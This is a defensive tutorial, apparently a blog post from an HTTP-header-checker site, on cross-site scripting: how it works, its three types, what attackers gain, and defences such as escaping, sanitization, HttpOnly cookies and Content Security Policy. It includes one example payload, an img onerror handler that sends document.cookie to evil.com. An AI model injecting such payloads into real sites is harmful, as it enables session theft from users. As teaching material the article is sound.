XSS (Cross-Site Scripting) has topped web vulnerability lists for twenty-five years — not for complexity but persistence: it takes ONE code point where user data becomes code. Understanding it deeply —how injection happens, what the attacker gains, which layers stop it— is probably the best security investment a frontend or backend developer can make.
The mechanism: when data becomes code
Every dynamic website mixes data with structure. The attack occurs at the exact point where attacker-controlled data gets interpreted as instruction:
// A chat rendering messages like this:
element.innerHTML = message; // ← DANGER!
// Attacker's message:
<img src=x onerror="fetch('https://evil.com?cookie='+document.cookie)">
That malicious HTML, rendered in the victim's browser, executes JavaScript in your application's origin: full DOM access, non-HttpOnly cookies, localStorage, and the ability to fire authenticated requests as the victim. It doesn't need to break anything else — your own page opened the door.
The three classic types
Reflected: payload travels in the current request — typical URL parameter reflected on-page. https://site.com/search?q=<script>.... Requires luring the victim into clicking; technical phishing.
Stored: payload persists in the database (comment, bio, profile name) and hits every visitor of that page. The most dangerous kind: one post compromises the entire audience with no extra interaction.
DOM-based: injection happens entirely client-side — legitimate code reads location.hash, postMessage or parameters and passes them to dangerous sinks (innerHTML, eval, document.write) without touching the server. Invisible to classic WAFs because the attack never travels the wire maliciously.
What the attacker actually gains
Real impact, not theoretical:
- Session hijacking:
document.cookiewithout HttpOnly → total impersonation, no password needed. - Keylogging and internal phishing: fake login overlay over your real app; the user "re-logs in" and hands over credentials.
- Authenticated actions: transfers, email/password changes, deletions — all from the victim's browser with their permissions.
- Worms: stored XSS that self-propagates (the historic Samy worm infected one million MySpace profiles in 20 hours).
Layer 1: never generate HTML from uncontrolled data
Primary defense is architectural. Modern frameworks (React, Vue, Angular) escape standard interpolation automatically:
<div>{userMessage}</div> // safe: escapes < > &
<div dangerouslySetInnerHTML={{__html: userMessage}} /> // manual hole
HTML escaping (< → < etc.) suffices when data lands in content. Beware special contexts where HTML escaping does NOT protect: inside href attributes (javascript: URLs), inline <script> blocks, or CSS. Each context needs its own encoding — master rule: use context-specific escaping functions, never a generic one.
If you must render user HTML (markdown editor, rich comments), sanitize with maintained libraries like DOMPurify — allowlist of tags and attributes, aggressive removal of every on* handler.
Layer 2: cookies JavaScript cannot read
Mitigate residual damage even if something escapes: session cookies always carry all three attributes:
Set-Cookie: sid=...; HttpOnly; Secure; SameSite=Lax
HttpOnly closes the document.cookie vector — direct credential theft becomes impossible even with successful XSS. The attacker keeps acting from the victim's browser but can't export credentials.
Layer 3: Content Security Policy, the structural belt
CSP inverts the trust model: instead of trusting every embedded script, you explicitly declare legitimate code sources, and the browser blocks everything else. Sent as an HTTP header:
Content-Security-Policy:
default-src 'self';
script-src 'self' https://trusted-cdn.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data:;
object-src 'none';
frame-ancestors 'none';
report-uri /csp-reports
Reading it: scripts only from self and listed CDN — any inline <script>alert(1)</script> or weird-domain load dies before executing. object-src 'none' kills legacy plugins; frame-ancestors prevents clickjacking.
The important nuance: 'unsafe-inline' in script-src nullifies nearly all XSS protection — the escape hatch many use for convenience, turning CSP decorative. The modern path keeping it strict are nonces: the server generates a random value per response, includes it in the header and each legitimate script; everything else gets blocked:
Content-Security-Policy: script-src 'nonce-r4nd0m-per-response';
Start in monitor mode (Content-Security-Policy-Report-Only) to discover what the policy would break before enforcing — reports arrive at your /csp-reports endpoint.
Verify your headers
A miswritten CSP gives false confidence. Audit your site's real response with our HTTP headers checker, which validates CSP alongside every other security header — and for full context on each one, see the security headers guide. If you also serve user-generated content, check what your CORS headers reveal about your API.
FAQ
Do React/Vue make me immune? Against the accidental path, yes (auto-escaping). But every dangerouslySetInnerHTML, v-html or rich-library integration creates manual points requiring sanitization. Frameworks reduce surface; they don't remove responsibility.
Does a WAF replace these defenses? No. WAFs filter known patterns in transit and get evaded with encoding/fragmentation; output sanitization and CSP operate in the only infallible places: your application and the victim's browser.
Does CSP affect SEO or performance? Negligibly in both. It demands discipline: declared external resources, nonced or hashed scripts, initial report monitoring.
Check your site's CSP and all security headers with our HTTP Headers Checker, free and right in your browser.